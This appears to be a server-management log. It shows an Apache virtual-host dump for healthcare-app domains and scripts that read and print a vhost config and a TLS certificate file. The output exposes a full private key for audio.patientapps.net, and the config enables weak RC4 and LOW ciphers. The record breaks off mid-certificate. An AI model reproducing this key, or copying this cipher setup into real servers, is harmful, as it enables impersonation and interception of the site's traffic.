port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:45:
PUT: /tmp/pkp224578
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:45:
chmod 755 /tmp/pkp224578; /tmp/pkp224578; rm /tmp/pkp224578
2025-11-30 06:01:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 1469
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-11-30 06:01:45:
PUT: /tmp/pkp607444
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:45:
chmod 755 /tmp/pkp607444; /tmp/pkp607444; rm /tmp/pkp607444
2025-11-30 06:01:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt 5361
e3:b9:74:d3:f1:d1:af:6d:da:cf:e8:f2:bd:2e:4c:67
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBVOOahBijFhziCHo/29MpEJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTMwMDUwMzE0WhcNMjYwMjI4MDUwMzEzWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCovhxIk9v+2pqURAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3
TPGIzUNH3/5F+NjFQ9qQqZroem5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYb
lEDKZl1hfvASypiBBxMUQzLfzl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1Y
YoFK+A9COOWsEaBzv8UDJ4rj+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKI
K4zJb5MXyLGrmC9JUncRFBT6QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60
tRIVZd84EJKm7xpSwRf8IJXRndJtvx0BAgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCcPCKYBRD7PcTmzGyLGAF1LY8azMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa01pX
WgAABAMARzBFAiBjtWLOgDVd+plj+baZwKlkkLufRMO9NKAjNpb0DLpcmwIhAN4F
/wPv2D6eyHPcLvgoPHErZzTL+8+C4OjAKP3eqYJ1AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGa01pXcgAABAMARzBFAiAvxPIi62QPh+XmAxoC
TqXL6zYBmbAvM/NzziK73LSJ7QIhAOQc3AiYJ9sZUPksOozmZ3k+KAkfkTqVab4k
ZS4gg6YaMA0GCSqGSIb3DQEBCwUAA4IBAQC/G5WDW108VgDIyQ79MNiVBkqKep2N
zJJ3X+EahHGpWgSFJMSm3gcuR5da59gviBXcbCaoeTPaa6kLFubKpjnKlTu8Dzi8
icIBZWRHGrcz1GswMW0ke95grASKecAcRB5//3quP5XzJt+y9z3czJzIf4bsZ3x1
VAPdWs5bWwrE3Eo1O+4eqVOUYlTvNMp8E8Qf+KJgGFCWX/TznvV4jmdQmxJWKlbA
8YmUrMXjWPmAXnrR+kOP7bNn5zxNPk1tg6kA44nWmP6M8ed+tWr5/14u59Kk8Cah
Cx7bgrhd6M8SGNItCEqhiyCM6gwL0841DezVdtMQhXbqPmNPEpghnJ2m
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCovhxIk9v+2pqU
RAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3TPGIzUNH3/5F+NjFQ9qQqZro
em5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYblEDKZl1hfvASypiBBxMUQzLf
zl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1YYoFK+A9COOWsEaBzv8UDJ4rj
+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKIK4zJb5MXyLGrmC9JUncRFBT6
QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60tRIVZd84EJKm7xpSwRf8IJXR
ndJtvx0BAgMBAAECggEATXRGA0JrXsX04k19mO7xfXPPZqym/+Yggmh0DoSZJu29
wppo8bgFzOLykzq0wU8dpfydc567ul8/jap09VopSGhwpxWpQh63eduKmm8suyIf
MuFD2qlGIU6hlsX54wCjLdz0t3UJ2ukldvmAsLV8kSA5YS6/wtnZI5rh/9FB4yf/
/0Q4w+FUaQlibAS/WyDjU/gWtM908CNZxwMtOdf14Yt3L8a6G421dy/jOckmzdya
lEihch6NTn1FPWeEBpFTbbm17njySJXdnawkUjIYOz3f0+8ilMWgBv2pAW0QZC1o
M67lDIt1XjYXhVhRfRN5YIz276vntCQraxoYmXJgAQKBgQDcNWBxYx0vL4AEWFHY
672RIC9G5B+zBoCCIckU4qV/O1pjqu1mt5XaZwADQ79RYh2fRONireSTe32S+8tg
tn/Tt//iIABVdLi4hvnnoGzyhTtjQ1mMN1WX7O0ETVPTR2yvjKWUSS8m2iTGwI5g
UZ6kmWevp8eu5vRCbLQ8R8vdwQKBgQDEK0wfEBVOMm9M41aUj/lGg7gvaVh3+Z7U
yv5d4NVGv09x2KK7G6lsHqTjkwEQMu5MUEm5EOBNQ6H6mPUmQs6cgAkUboRrXPBE
x3pOXhSfnL9aeRsMEeYo0IaqWf6WZBY60Enmakr5YcsViRhRft6IFb8t1RvmC1HO
0D7gg12PQQKBgQCR1/Q5BKjWkIIb3pbOsUtK6+MD86CfBEZmaZPw9i8f9iJmclVr
O1nPXXpfryXt86qkyo5C0+LYXuiLSaKoOhatFWcuz30JHBYfeJ3Y76JYeS8dDgUn
3Zod1fggakqDWwG7vs4HSPUmqUHENNHXLxd/8m3+o4OX7jSGLdKtPeviwQKBgEFm
Ue11NjUouVR/4kiLK0bn+QrNazIsZVh6CI2RvGjmtPy2haItmbEzEjPQuaUF5c5J
Yhqx1qXLq3/ZaLmFwk4InX5TThBhHrU/b7YaxXNlFaJ7B5phiUMIKi027ZqD6alX
8ZtAypgTk1otp47b5iKmZWNJThDGq1JwuNWu1g1BAoGBAKIu8RiyVebMX/t2Ptac
9xv7N2/OfJZd+M3IQ5Iy0W/zDt8DSqkhR6CZwNedFvxN+5OouO47/Mx0vOX+3KQm
wpXLTDTS92ltbkstrRs0/FKnltuuXLA1Qvi2T+PHf73EEGpEaPf9U0XtLSkNObn7
lZfmYEOMsLCRaqo0DYksHYku
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
